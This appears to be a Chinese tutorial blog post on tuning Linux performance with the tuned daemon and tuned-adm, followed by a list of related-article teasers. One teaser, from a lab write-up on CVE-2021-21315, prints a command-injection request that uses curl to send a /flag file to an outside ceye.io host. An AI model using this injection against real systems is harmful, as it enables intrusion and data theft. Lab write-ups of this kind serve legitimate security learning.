优化 Linux 系统性能:探索 tuned 守护进程的调优配置文件

news2025/1/18 10:03:09

  • tuned守护进程调优系统
  • 调优配置文件
  • 从命令行配置系统调优
    • 安装、启用和启动tuned软件包
    • tuned-adm
  • 感谢 💖

hello大家好😊

tuned守护进程调优系统

系统管理员可以基于多种用例工作负载来调整各种设备设置,以此优化系统性能。tuned 守护进程会利用反映特定工作负载要求的调优配置文件,以静态和动态两种方式应用调优调整。

  • 静态调优: 这种方式类似于在预定航线上设置导航参数,以优化船只的航行。在 tuned中,静态调优是在系统服务启动时或在选择新的调优配置文件时,应用一组预定义的参数设置。这些设置在系统运行时保持不变,不会随着系统负载的变化而调整。就像船只在特定航线上按照预先设置的导航参数行驶一样,静态调优旨在在整体性能和资源使用之间找到平衡。
  • 动态调优: 这种方式类似于船只在航行中根据风力和海况调整船帆的角度,以确保航行的稳定性。在 tuned中,动态调优是在系统运行时持续监控系统组件的活动情况,并根据实时变化来自动调整参数设置。就像船只根据不同的气象条件调整帆位一样,tuned守护进程根据不同的工作负载和系统需求,实时地调整系统参数,以适应不同的情况。

举例来说,如果一个系统在早晨启动时有很高的磁盘活动,但在白天大部分时间都处于轻负载状态,tuned 会根据这些变化自动调整磁盘缓存和其他参数,以在高负载和低负载时期都获得更好的性能。

调优配置文件

Tuned 应用提供的配置文件分为以下几个类别:

  • 节能型配置文件
  • 性能提升型配置文件

性能提升型配置文件中包括侧重于以下方面的配置文件:

  • 存储和网络的低延迟
  • 存储和网络的高吞吐量
  • 虚拟机性能

tuned 提供了一系列调优配置文件,每个文件都针对特定的用途或工作负载进行了参数设置,以优化系统性能。以下是一些常见的 tuned 调优配置文件:

在这里插入图片描述

从命令行配置系统调优

安装、启用和启动tuned软件包

有些系统默认最小安装中包含并启用了tuned软件包。
可以使用yum list installed tund命令查看是否安装了tuned,若安装了,则会显示该软件包信息,若未安装则不会显示任何信息。
示例:
在这里插入图片描述

然后执行 systemctl is-enabled tuned 显示服务是否已经启用;执行 systemctl is-active tuned 显示服务当前是否正在运行。
示例:
在这里插入图片描述

若需要手动安装并启用该软件,可以执行以下命令:

yum install tuned
systemctl enable --now tuned

上面这个命令中的 --now 选项用于立即启动服务。一般情况下,当你使用 systemctl enable 命令启用一个服务后,系统将在下次启动时启动该服务。但是,使用 --now 选项可以立即启动该服务,而不必等待下次启动。

tuned-adm

tuned-adm 命令可用于更改 tuned 守护进程的设置,还可以查询当前设置、列出可用的配置文件、为系统推荐调优配置文件、直接更改配置文件或关闭调优。

tuned-adm list 命令列出所有可用的调优配置文件,包括内置的配置文件和系统管理员创建的自定义调优配置文件。
示例:
在这里插入图片描述

tuned-adm active命令会显示当前活动的调优配置文件。
示例:
在这里插入图片描述

tuned-adm recommend 命令可以为系统推荐调优配置文件。
示例:
在这里插入图片描述

tuned-adm profile profilename可以将活动的配置文件切换为其他配置文件。
示例:
在这里插入图片描述

感谢 💖

好啦,这次的分享就到这里,感谢大家看到这里🤞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/884772.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python学习笔记_基础篇(七)_常用模块

模块,用一砣代码实现了某个功能的代码集合。 类似于函数式编程和面向过程编程,函数式编程则完成一个功能,其他代码用来调用即可,提供了代码的重用性和代码间的耦合。而对于一个复杂的功能来,可能需要多个函数才能完成…

什么是LAXCUS分布式操作系统?

相较Linux、Windows,Laxcus是同时在多台计算机上运行的操作系统,处理大规模、高并发、高性能业务,其特点是资源共享和任务并行,并实现【数存算管】超融合一体化。环境中的资源:CPU、GPU、内存、硬盘、网络,…

Python学习笔记_基础篇(八)_正则表达式

1. 正则表达式基础 1.1. 简单介绍 正则表达式并不是Python的一部分。正则表达式是用于处理字符串的强大工具,拥有自己独特的语法以及一个独立的处理引擎,效率上可能不如str自带的方法,但功能十分强大。得益于这一点,在提供了正则…

【Alibaba中间件技术系列】「RocketMQ技术专题」帮你梳理RocketMQ相关的消费问题以及原理分析总结

消息重复消费的问题 消息重复消费是各个MQ都会发生的常见问题之一,在一些比较敏感的场景下,重复消费会造成比较严重的后果,比如重复扣款等。 消息重复消费场景及解决办法 在什么情况下会发生RocketMQ的消息重复消费呢? 生产者重…

运动健身耳机什么的好、适合运动的耳机推荐

保持运动健身的习惯不仅成为一种生活态度,也逐渐演变为一种时尚潮流。随之而来的是越来越多的周边设备,旨在提高健身爱好者的运动效率。其中,运动耳机无疑是其中之一,不论是室内锻炼还是室外运动,一款舒适的运动耳机能…

【LeetCode75】第三十题 奇偶链表

目录 题目: 示例: 分析: 代码: 题目: 示例: 分析: 题目给我们一个链表,让我们把奇索引和偶索引的节点区分开来 ,参考示例给出的图我们应该就能很清晰地知道题目是什么…

第六章Tomcat部署以及优化

Tomcat: 开放源代码web应用服务器。(基于Java代码开发的),主要是处理动态请求和基于java代码进行页面开发。可以在html当中写入Java代码,Tomcat可以解析html页面当中的Java,执行动态请求,动态页…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台,curl请求 http://eci-2zed871sr7xrdjb…

Memory Analyzer(MAT)分析内存

关于作者:CSDN内容合伙人、技术专家, 从零开始做日活千万级APP。 专注于分享各领域原创系列文章 ,擅长java后端、移动开发、人工智能等,希望大家多多支持。 目录 一、导读二、概览三、 使用3.1 hprof 文件准备3.1.1 Android sutdi…

word之插入尾注+快速回到刚才编辑的地方

1-插入尾注 在编辑文档时,经常需要对一段话插入一段描述或者附件链接等,使用脚注经常因占用篇幅较大导致文档页面内容杂乱,这事可以使用快捷键 ControlaltD 即可在 整个行文的末尾插入尾注,这样文章整体干净整洁,需…

驾考笔记 _ 科目3 - 坂田线路图

深圳坂田线路图 1#线 >2#线 >3#线 > 1#线 > 2#线 > 3#线 > 简图:

Python random模块用法整理

随机数在计算机科学领域扮演着重要的角色,用于模拟真实世界的随机性、数据生成、密码学等多个领域。Python 中的 random 模块提供了丰富的随机数生成功能,本文整理了 random 模块的使用。 文章目录 Python random 模块注意事项Python random 模块的内置…

koa 使用 Mongoose 查询数据

Mongosee 操作符koa 使用 Mongoose 进行 翻页查询koa 使用 Mongoose 进行 多条件查询 mongosee 操作符 在使用 Koa 和 Mongoose 进行数据库查询时,你可以使用以下常用的操作符来构建查询条件: $eq:等于 示例:{ field: { $eq: valu…

pip install mysql出现error: subprocess - exited-with-error的解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

【Linux命令详解 | df命令】 df命令用于显示文件系统的磁盘空间使用情况,包括挂载点和可用空间

文章标题 简介一,参数列表二,使用介绍1. 查看整体磁盘空间使用情况2. 显示指定文件系统类型3. 查看inode信息4. 显示指定列5. 显示总计信息6. 检查特定文件系统空间使用情况7. 定期监控磁盘空间8. 了解磁盘配额9. 监控文件系统健康状态 结论 简介 在Lin…

如何快速更换有问题的PROFINET IO设备?

如何快速更换有问题的PROFINET IO设备? 一般情况下,更换PROFINET设备的步骤如下: 拆下有问题的PN 设备安装新设备打开博途软件在线分配设备名称和IP地址 那么,为了减少设备宕机时间,快速更换有问题的PN IO设备,我们可以采用以下的方法: PLC需支持无介质可更换设备的必需…

ICC2如何write_gds写出pr boundary

我正在「拾陆楼」和朋友们讨论有趣的话题,你⼀起来吧? 拾陆楼知识星球 在数模混合项目中,需要在前期确定pr boundary的尺寸,可以在virtuoso中画一个pr boundary存def给pr,当然,pr这边在前期修改尺寸也需要给负责模拟版图的同事确认,但ICC2 write gds默认是写不出pr bou…

TienChin 创建菜单页面

上一节当中我们只是给后台添加了对应的菜单,实际上对应的页面还没有存在这节主要就是创建出来页面: 促销活动: activity统计分析: analysis商机管理: business渠道管理: channel线索管理: clue合同管理: contract私教课程: course转派管理: transfer tem…

AMD Zen4撕裂者太霸气了!96核心功耗只有350W

AMD将在今年第三季度发布基于Zen4架构的新一代锐龙线程撕裂者,不但继续在核心数量、性能上碾压对手,还会升级到DDR5、PCIe 5.0。 在最新曝光的一份货物清单中,赫然可以看到三款新的撕裂者: - Threadripper 7995WX 350W…